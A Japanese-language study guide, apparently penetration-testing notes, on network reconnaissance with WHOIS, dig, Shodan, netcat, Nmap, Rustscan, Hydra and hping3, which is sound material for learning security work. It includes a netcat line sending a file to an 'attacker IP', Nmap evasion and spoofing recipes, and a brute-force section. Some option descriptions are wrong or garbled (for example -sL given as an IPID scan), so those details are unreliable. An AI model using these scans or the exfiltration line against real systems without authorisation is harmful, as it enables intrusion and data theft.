2. ネットワークの偵察
2.1. 偵察
2.1. 偵察
偵察(Recon)は攻撃対象に関する情報を収集するための事前調査のこと。 システム上で最初の足がかりを獲得するための最初のステップと言える。
2.2. 受動的な偵察と能動的な偵察
受動的な偵察
受動的な偵察は公開されている情報から行う偵察のこと。 攻撃対象と直接関わることなく、公開されているリソースからアクセスできる知識が中心となる。
受動的な偵察の例は以下の通り。
- パブリックDNSサーバからドメインのDNSレコードを検索する
- 対象サイトに関連する求人広告を確認する
- 対象企業に関するニュース記事を閲覧する
能動的な偵察
能動的な偵察はターゲットとの直接的スキャンなどを行う偵察のこと。 能動的な偵察の例は以下の通り。
- HTTP、FTP、SMTP などのプロトコルで対象サーバに接続する
- 情報を入手するために対象組織に電話をかける (ソーシャルエンジニアリング)
- 業者を装って会社敷地内に侵入する
2.2. 受動的なネットワーク偵察
2.2.1. WHOIS
WHOISはRFC 3912仕様に準拠した要求および応答プロトコルのこと。 WHOISサーバは43ポート(TCP)で受信リクエストを待ち受けをする。 ドメインレジストラはリースしているドメイン名のWHOISレコードを維持する責任があるため、WHOISサーバは要求されたドメインに関連するさまざまな情報を応答する。WHOISサーバが返すWHOIS情報は以下の通り。
- レジストラ
- 登録者の連絡先情報
- 作成日、更新日、有効期限
- ネームサーバ
whoisコマンド
WHOIS情報を確認できるコマンド。
2.2.2. nslookupとdig
nslookupコマンド
IPを調べたり、DNSサーバにドメイン名を問い合わせなどを行えるコマンド。
オプションには-type=
でクエリタイプが指定できる。
クエリの種類 | 返す情報 |
---|---|
A | IPv4アドレス |
AAAA | IPv6アドレス |
CNAME | 正規名 |
MX | メールサーバ |
SOA | ゾーンの管理情報 |
TXT | TXTレコード |
digコマンド
詳細な情報をDNSサーバから取得できるコマンド。
オプション | 説明 |
---|---|
-x | 指定されたIPアドレスの逆引きを行う |
-p ポート番号 | 問い合わせ先のポート番号を指定(53番がデフォルト) |
クエリタイプ | 説明 |
---|---|
a | ホスト名に対応するIPアドレス(デフォルト) |
ptr | IPアドレスに対応するホスト名 |
ns | DNSサーバ |
mx | メールサーバ |
soa | SOAレコード情報 |
hinfo | ホスト情報 |
axfr | ゾーン転送 |
txt | 任意の文字列 |
any | すべての情報 |
なお問い合わせ後に表示されるflagsには以下のようなものがある。
フラグ | 説明 |
---|---|
qr | 問い合わせに対する回答 |
aa | 権威のある回答 |
rd | 再帰検索を希望 |
ra | 再帰検索が可能 |
また回答の表示されるセクションは4つに分かれる。
- QUSETION SECITION
- 問い合わせ内容の表示
- ANSWER SECTION
- 問い合わせの回答内容の表示
- AUTHORITY SECTION
- 問い合わせ先に権威がある場合に表示
- ADDITIONAL SECTION
- 回答したホストのIPアドレスなど追加情報が表示
2.2.3. DNSDumpster
DNSDumpsterはDNS クエリに対する詳細な回答を提供するオンラインサービス。 DNSDumpsterで検索すると、一般的なDNSクエリでは提供できないサブドメインが見つかる場合がある。 また収集したDNS情報を読みやすい表とグラフで表示してくれる。
2.2.4. Shodan.io
Shodan.ioはクライアントのネットワークに能動的に接続せずに、クライアントのネットワークに関するさまざまな情報を得ることのできるサービス。別の言い方ではIoTデバイスの検索エンジンともいえる。 防御的側面ではShodan.ioで提供されるサービスを使用して、機関に属する接続されているデバイスや公開されているデバイスについて知ることが可能。
Shodan.io はWebページの検索エンジンとは対照的にオンラインでアクセス可能なすべてのデバイスに接続して、接続された「モノ」の検索エンジンを構築しようとする。応答を受け取るとサービスに関連するすべての情報を収集し、検索可能にするためにデータベースに保存しようとする。
サービスの検索とASN
shodan.ioでドメイン名を検索するとASNが表示される。 ASNはCloudFlareなどのCDNプロキシなどで秘匿されたサーバのIPアドレスを取得するのに使用できる。 これはGoogleのような巨大企業の場合、所有するすべてのIPアドレスに対して独自のASNを持っている可能性があるためである。
ASN(自律システム番号)はIP アドレス範囲のグローバル識別子のこと。
shodan.ioの検索バーでフィルタASN:[number]
と検索するとそのASN上にあるWEBサイト全体を確認できる。
検索フィルタ
コチラで検索クエリを適切に使用するとAND検索などで詳細に調べられる。
フィルタ | 説明 |
---|---|
asn | ASNで検索 |
country | 国 |
ip | IPアドレス |
product | 製品/サービス名 |
os | OS |
port | ポート |
より多くのフィルタはコチラ。
2.3. 能動的なネットワーク偵察
2.3.1. ブラウザからの偵察
Webブラウザを使用してターゲットに関する情報を収集する方法ではHTTP(80)/HTTPS(443)によるアクセスを確認できる。 その際に役立つアドオンを記載する。
FoxyProxy
ターゲットのWebサイトへのアクセスに使用しているプロキシサーバーをすばやく変更できる拡張機能。 Burp Suiteなどのツールを使用している場合やプロキシサーバを定期的に切り替える必要がある場合に便利な機能といえる。
User-Agent Switcher and Manager
別のOSまたは別のWebブラウザからWebページにアクセスしているふりをすることができる拡張機能。
Wappalyzer
訪問したWebサイトで使用されているテクノロジーに関する情報を提供する拡張機能。
2.3.2. コマンドによる偵察
指定したホストにICMPパケットを送った際の反応を確認できる。
なおIPv6の場合はping6
コマンドを使う。
オプション | 説明 |
---|---|
-n | ホスト名を指定せずにIPアドレスを表示する |
-c 回数 | 指定した回数のみICMPパケットを送信する |
-i 間隔 | 指定した間隔ごとにICMPパケットを送信する |
-s サイズ | 指定したパケットデータのサイズで送信する |
また、ネットワーク上のすべての IP アドレスを ping するワンライナーは以下の通り。
for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP active" || echo "$IP N/A"; done
tracerouteコマンド
指定したホストまでパケットが伝わる経路を表示するコマンド。 ネットワークの途中経路に障害がある場合、障害個所を特定できるコマンドといえる。
なお注意事項としてネットワーク経路上にICMPパケットを返信しないホストが存在する場合は適切な動作は期待できない。
なおIPv6の場合はtraceroute6
コマンドを使う。
オプション | 説明 |
---|---|
-i インターフェース | ネットワークインターフェースを指定する |
-n | ホスト名をIPアドレスで表示する |
telnetコマンド
telnet接続できるコマンド。 なおTelnet を使用して任意のサービスに接続し、そのバナーを取得できる。
バナーを取得する際は以下で行う。
telnet <IPアドレス | ホスト名> [ポート]
でアクセスGET / HTTP/1.1
と入力(80の場合)しEnterhost: 任意の値
でEnterしEnterを2回押す
ncコマンド
ncコマンドはTCP/UDPを使ったネットワークの通信を行うコマンド。 ポートスキャンや通信状態の確認が可能。 他にも以下のことが可能。
- リスニングポートに接続するクライアントとしての機能
- 選択したポートをリッスンするサーバーとして機能
なおオプション-vz
を指定することでポータ範囲の指定とポートスキャンが可能。 なおudpの場合はu
を追加する。
また1024 未満のポート番号をリッスンするには root 権限が必要となる。
オプション | 意味 |
---|---|
-l | リスニングモード |
-p | ポート番号を指定 |
-n | 数値のみ。DNS経由でホスト名を解決できない |
-v | 詳細な出力 (バグを発見するのに役立つ) |
-vv | 非常に詳細 (オプション) |
-k | クライアントが切断された後もリッスンを続ける |
使用例は以下の通り。
# サーバとして待ち受け
nc -lvnp [ポート番号]
# Netcatによるファイル転送
# 送信側
nc [攻撃者のIPアドレス] 9999 < [filename]
# 受信側
nc -l -p 9999 > [filename]
# Netcatによる複数ポートスキャン
nc -zvn [IPアドレス] [ポート番号] [ポート番号] [ポート番号]...
# NetcatによるUDPポートスキャン
nc -zvu [IPアドレス] [ポート番号]-[ポート番号]
2.4. Nmapによる高度なスキャン
Nmap(Network Mapper)はネットワークの調査とセキュリティ監査が行えるOSSのツール。 なおNMapによるスキャンは能動的な偵察となる。
公式ドキュメント:https://nmap.org/man/ja/index.html
できることは以下の通り。
- ポートスキャン
- OSのバージョン/ファイヤーウォールの特定
2.4.1. Nmapによるアクティブホストのスキャン
ARPを使用したホスト検出
ARPスキャンによるホスト検出はターゲットシステムと同じサブネット上にある場合にのみ可能となる。
またnmap以外にもarp-scan
を用いてARPパケットを詳細に制御し検出もできる。
この手法ではIPアドレスとMACアドレス両方の情報を得られる。
ICMPを使用したホスト検出
ICMPによるホスト検出はターゲットネットワーク上のすべてのIPアドレスにpingを実行することで行う。 ただし、ターゲットのファイヤーウォールがICMPをブロックする場合があるので常に使えるとは限らない。
# ICMPタイムスタンプを使用する場合
nmap -PP -sn [ターゲットIP/24]
# ICMPエコー要求を使用する場合
nmap -PE -sn [ターゲットIP/24]
# ICMPアドレスマスクを使用する場合
nmap -PM -sn [ターゲットIP/24]
TCP/UDPを使用したホスト検出
- TCP SYN Ping
- 特徴
- 使用されるポートに対してTCP SYNパケットを送信し、応答があるかどうかを検出する。
- サーバがTCP SYNに応答すると、ポートが開いていることが示される
- 動作
- ターゲットホストがTCP SYNに応答しない場合、Nmapはポートが閉じていると判断する
- 検知
- 相手のホストではポートが一時的に開かれるため、検知される可能性が高い
- 特徴
- TCP ACK Ping
- 特徴
- 使用されるポートに対してTCP ACKパケットを送信し応答があるかどうかを検出する。
- ACKパケットが返されれば、ポートが開いていることが示される
- 動作
- ターゲットホストがTCP ACKに応答しない場合、Nmapはポートがフィルタされていると判断する
- 検知
- 相手のホストでは一部のファイアウォールで検知される可能性がある
- 特徴
- UDP Ping
- 特徴
- UDPを使用してホストがオンラインかどうかを検出する
- UDPは通信が確立されないためフィルタリングや検知が難しい
- 動作
- ターゲットホストがUDPに応答しない場合にNmapはポートが閉じていると判断する
- 検知
- 相手のホストでは通常UDPトラフィックは検知が難しく検知されることは比較的少ない
- 特徴
# TCP SYN Pingの場合
nmap -PS[ポート(23)] -sn [IPアドレス/24]
# TCP ACK Pingの場合
nmap -PA[ポート(23)] -sn [IPアドレス/24]
# UDP Pingの場合
nmap -PU -sn [IPアドレス/24]
逆引きDNSルックアップの使用
Nmap のデフォルトの動作ではリバースDNSオンラインホストが使用される。 ホスト名から多くのことが明らかになる可能性があるため、これは役立つ場合がある。
オプション | 目的 |
---|---|
-n | DNSルックアップなし |
-R | すべてのホストの逆引き DNS ルックアップ |
-sn | ホスト検出のみ |
2.4.2. 基本的なポートスキャン
Nmapはポートの状態を以下の6つの状態に分類する。
状態 | 説明 |
---|---|
Open | ターゲットホストのポートが応答しており、接続可能であることを示す |
Closed | ターゲットホストのポートが応答しているが、接続はできないことを示す |
Filtered | これはファイアウォールやネットワークフィルタによってトラフィックが遮断されている可能性がある |
Unfiltered | ポートが応答しており、トラフィックは遮断されていないことを示す。具体的なサービスが待機しているかどうかは不明 |
Open/Filtered | ポートの状態を正確に判別できない場合に表示される状態(OpenかFilter) |
Closed/Filtered | ポートの状態を正確に判別できない場合に表示される状態(CloseかFilter) |
オプション | 説明 |
---|---|
-sT | 接続スキャン |
-sS | SYNスキャン(TCP接続のSYNパケットを送信し、SYN+ACKが帰るかどうかでポートスキャンを行う) |
-sV | SYNスキャン+バナーの同時収集(バージョンも表示) |
-sN | Nullスキャン |
-sF | FINスキャン |
-sX | Xmasスキャン |
-sL | IPIDスキャン(ゾンビマシン指定必要) |
-SA | ACKスキャン(TCP接続のACKパケットを送信し、RSTが返ってくるかでファイヤーウォールの有無を判断する) |
-sU | UDPパケットを送信し、ICMP port unreachableが返ってくるかでポートスキャンを行う |
-sP | pingを送信し、エコー応答が返るかどうかでホストの存在の有無を判断する |
-sn | Pingスキャン |
-sC | NSEスクリプトの利用(-sVがダメなときに使う) |
-O | OSを調べる |
-n | 名前解決しない |
-v | 詳細に調べる |
--reason | 結果を表示 |
-Pn | pingをしない(ホスト検出スキップ) |
-PE | Ping要求送信指定 |
-p[ポート番号],[ポート番号] | ポート指定 |
-p[ポート番号]-[ポート番号] | ポート範囲指定 |
-p- | 全ポートスキャン |
-F | 有名な100ポートのスキャン |
--top-ports 10 | 代表的な10ポートのスキャン |
-T[0-5] | スキャンタイミング制御:数字が低い方がIDS検知回避しやすい(数字が大きくなるほどスキャン速度が速くなる) |
--min-rate [数字] | パケットレート制御 |
--min-parallelism [プローブ] | プローブの並列化 |
TCP接続スキャン
TCP接続スキャンはTCP3ウェイハンドシェイクを完了することでスキャニングを行う。
TCP SYNスキャン
TCP SYN スキャンではTCP3ウェイハンドシェイクを完了せずに、サーバーから応答を受信すると接続を切断する。 TCP接続を確立していないためスキャンがログに記録される可能性が低い。
UDPスキャン
UDPはコネクションレス型プロトコルであるため、接続を確立するためにハンドシェイクを必要としない。 そのため UDPポートでリッスンしているサービスがパケットに応答するかどうかは保証できない。
よく使うNmapコマンド
# ===========================
# クイックスキャン
# ===========================
# TCP100ポート/UDP20ポートスキャン
sudo nmap -sS -T3 <IPアドレス> -F -v && sudo nmap -T3 -sU --top-ports 20 <IPアドレス>
# ローリスクスキャン
sudo nmap -n -sT -scan-delay 0.1 <IPアドレス> -v
# クイックスキャン
sudo nmap -sS <IPアドレス> -v
# 全ポートクイックスキャン
sudo nmap -sS -T4 -A <IPアドレス> -v
# IDS/IPS回避クイックスキャン
sudo nmap -sS -f -T4 <IPアドレス> -v
# ===========================
# UDPスキャン
# ===========================
sudo nmap -sU --top-ports 20 <IPアドレス> -v
sudo nmap -sU --top-ports 100 <IPアドレス> -v
# ===========================
# Fullスキャン
# ===========================
sudo nmap -sC -sV <IPアドレス> -F -T4
sudo nmap -sC -sV <IPアドレス> --open -p- -T3
sudo nmap -n -sT -scan-delay 0.1 -p- -A <IPアドレス> -v
sudo nmap -sS -p- -A <IPアドレス> -v
# ===========================
# NSEの使用
# ===========================
ls /usr/share/nmap/scripts/ | grep <キーワード>
# POPスキャン
sudo nmap -sS -p 110,995 -A --script=pop* --script-timeout=30 <IPアドレス> -v
# IMAPスキャン
sudo nmap -sS -p 143,993 -A --script=imap* --script-timeout=30 <IPアドレス> -v
# HTTPスキャン
sudo nmap -sS -p 80 -A --script=http* --script-timeout=30 <IPアドレス> -v
# SQLスキャン
sudo nmap -sS -p 3306 -A --script=*sql* --script-timeout=30 <IPアドレス> -v
# SMBスキャン
sudo nmap -sS -p 445 -A --script=smb* --script-timeout=30 <IPアドレス> -v
# NFSスキャン
sudo nmap -sS -p 111 -A --script=nfs* --script-timeout=30 <IPアドレス> -v
ホスト範囲スキャン
# NMapによるスキャン
sudo nmap -sP <IPアドレス>/24 -oN RangeScan.txt -v
sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24
sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24 -oX rangescan.xml
# Pingスキャン(echo request)
ping -c 1 <IPアドレス>
# FPingスキャン(範囲に対してecho request)
fping -g <IPアドレス>/24
# Masscanによるスキャン(有名20ポート)
sudo masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,995,1723,3306,3389,5900,8080 <IPアドレス>/24
sudo masscan -p80,443,8000-8100,8443 <IPアドレス>/24
2.4.3. 高度なポートスキャン1
TCP Nullスキャン
制御フラグを全く立てずに送信するスキャン方法。 Nullスキャンで応答がない場合は、ポートが開いているか、ファイアウォールがパケットをブロックしていることを示すことになる。
TCP FINスキャン
FINフラグを立てて送信する(通常はデータ終わりを示す)。
TCP Xmasスキャン
FIN、URG、PUSHフラグを立てて送信する。 XmasスキャンではRSTパケットを受信した場合は、ポートが閉じられていることを意味する。
TCP ACK スキャン
ACKフラグを立てて送信するスキャン方法。 このスキャンをそのままの設定で行う場合はターゲット ポートが開いているかどうかはわからないが、ファイヤーウォールの有無を調べることができる。
ファイアウォールのルールセットと構成を検出するのにより適しているといえる。
TCP Windowsスキャン
ACKスキャンとほぼ同じだが、RSTパケットのTCPウィンドウフィールドが走査される特徴がある。 特定のシステムでは、これによりポートが開いていることがわかる場合がある。
カスタムTCPスキャン
組み込みのTCPスキャンタイプではない、新しいTCPフラグの組み合わせを試したい場合は--scanflags
オプションを使用する。
詳細に設定するにはTCP,UDPの通信フローをしっかり理解する必要がある。
IDLEスキャン(IPIDスキャン)
IPIDスキャンはIPパケットにIPIDと呼ばれる値があることを利用した攻撃対象のサーバにIPアドレスを知らせないスキャン方法(ゾンビスキャンともいわれる)。 つまり身元を隠したスキャンが可能。なおゾンビマシンが検知の仲介に必要となる。
2.4.3. 高度なポートスキャン2
スプーフィングとおとりスキャン
一部のネットワーク設定では、スプーフィングされたIPアドレスやスプーフィングされたMACアドレスを使用してターゲットシステムをスキャンできる。 これは、ターゲットからの応答を確実に取得できる状況でのみ有益といえる。
スプーフィングされたIPアドレスを使用したスキャンのステップは以下の通り。
- 攻撃者は偽装した送信元 IP アドレスを含むパケットをターゲットマシンに送信する
nmap -S [SPOOFED_IP] [MACHINE_IP]
- ターゲット マシンは、スプーフィングされた IP アドレスを宛先として応答する
- 攻撃者は応答をキャプチャして、開いているポートを特定する
なおMACアドレススプーフィングを使用する場合は--spoof-mac
を使用し、また同じネットワーク内でのみ使用可能となる。
おとりスキャンは-D
オプションで可能で、おとりからスキャンされたように見せかけることができる。
断片化されたパケットの送信
Nmapでは-f
オプションでポケットを断片化することができる。
これによりIPデータは8Byte以下に分割される。
また-ff
オプションで16Byteのフラグメントに分割される。
これはファイヤーウォール/IDSによる検知の回避に使用できる場合がある。
詳細情報の確認
--reason
オプションでポートスキャンの推論と結論の詳細情報を表示させることができる。(ACK Responseを受信したためなど理由が表示される)
そのためのオプションは以下が利用可能。
--reason
-v
-vv
2.4.4. 高度なポートスキャン3
サービスの検出
-sV
オプションで開いているポートのサービスとバージョン情報が収集できる。
ただしこのオプションはNmapが強制的にTCP3ウェイハンドシェイクを続行し、接続を確立するため注意が必要となる。
またバージョン情報収集レベルは--version-intensity [LEVEL]
オプションで指定可能で--version-all
でレベル9と同等になる。
OSの検出
OSの検出は-O
オプションで可能となる。
ターゲット間のノードを検出する
スキャン端末とターゲット間のルータを見つけるには--traceroute
オプションの追加で可能となる。
PingSweep
IPアドレス範囲に対して稼働サーバを調査する方法はPingSwwwpと呼ばれ、以下コマンドで実現できる。
Nmapスクリプトエンジン(NSE)の使用
Nmapでスクリプトエンジンを使用すると機能に対してカスタム機能を追加できる。
Kali Linuxの場合/usr/share/nmap/scripts
にNSEが保存されているためそこから使用できる。
また使用には--script [スクリプト]
で使用する。
# スクリプトの検索
/usr/share/nmap/scripts# ls [検索文字列など]
ls /usr/share/nmap/scripts | grep [検索文字列など]
find /usr/share/nmap/scripts -type f *[検索文字列]*.nse 2> /dev/null
# スクリプトの使用
sudo nmap -sS -n --script "スクリプト" [IPアドレス|ドメイン名]
スクリプトの種類 | 説明 |
---|---|
auth | 認証関連のスクリプト |
broadcast | ブロードキャスト メッセージを送信してホストを検出 |
brute | ログインに対してブルートフォースパスワード監査を実行 |
default | デフォルトのスクリプトと同じ(-sC ) |
discovery | データベーステーブルやDNS名などのアクセス可能な情報を取得 |
dos | サービス拒否 (DoS) に対して脆弱なサーバーを検出 |
exploit | さまざまな脆弱なサービスを悪用しようとする試み |
external | Geoplugin や Virustotal などのサードパーティサービスを使用したチェック |
fuzzer | ファジング攻撃を開始 |
intrusive | ブルートフォース攻撃やエクスプロイトなどの侵入的なスクリプト |
malware | バックドアのスキャン |
safe | ターゲットをクラッシュさせない安全なスクリプト |
version | サービスバージョンの取得 |
vuln | 脆弱性をチェックするか、脆弱なサービスを悪用する |
Nmap出力の保存
Nmapスキャンを実行するときは常に、結果をファイルに保存することが合理的な場合がある。 保存できる形式は以下の通り。
- 通常方法
-oN [ファイル名]
で可能
- Grepable形式
-oG [ファイル名]
で可能
- XML
-oX [ファイル名]
で可能
なおgrepする場合以下方法が便利である。
2.5. Rustscanによるスキャン
Nmapより高速にポートスキャンできるツール。
# 複数マシンのスキャン
rustscan -a <IPアドレス | URL,>
# 複数指定する場合
rustscan -a <IPアドレス | URL> -p 20,21,53,80
# ポートの範囲を指定する場合
rustscan -a <IPアドレス | URL> --range 1-1000
2.6. Hydraによるログインパスワード総当たり攻撃
hydraは有名なパスワード解析ツールだが、FTP、POP3、IMAP、SMTP、SSH、HTTPのアクセスに対するパスワード総当たりも可能である。 基本的な構文は以下の通り。
またパスワードのkaliのデフォルト辞書ファイルは/usr/share/wordlists/rockyou.txt
が使える。
オプション | 説明 |
---|---|
-S [ポート] | 対象のサービスのデフォルト以外のポートを指定 |
-v, -vv | 進行状況を確認するのに非常に便利 |
-t [数字] | ターゲットへの接続に使用されるスレッド数の指定 |
FTPの例
SSHの例
2.7. Netdiscoverによるホスト調査
ネットワーク内のライブホストをスキャンできるARPスキャナー。 ワイヤレスネットワークのアクティブスキャン/パッシブスキャン、ウォードライビングによく使用される。
特徴としてDHCPサーバがなくても特定ネットワークのIPアドレス検知に役立つ。
sudo netdiscover -r <IPアドレス>/<サブネットマスク>
sudo netdiscover -i <インターフェイス> -p
sudo netdiscover -i <インターフェイス> -r <IPアドレス>
Netdiscoverによるライブサーバ検出
# パッシブスキャン(Ctrl+Cで数分後に終了する)
sudo netdiscover -p
# アクティブスキャンによるライブIP検出(Ctrl+Cで数分後に終了する)
sudo netdiscover -i <インターフェイス>
2.8. Hping3
Hping3はTCP/IPパケットアセンブラ/アナライザー 任意のネットワークパケットを組み立てて送信できるツール。
機能は以下の通り。
- ファイヤウォールテスト
- 高度なポートスキャン
- ネットワークテスト
2.8.1. よく使うHping3
# ウェルノウンポートリストの各ポートにTCP SYNパケット(-S)を送信
sudo hping3 --scan known <IPアドレス> -S
# TCP SYNパケット(-S)を使用して、0から3000の範囲のポートをスキャン
sudo hping3 --scan '0-3000' <IPアドレス> -S
2.9. Zenmap
ZenmapはNmapのGUIフロントエンドツール。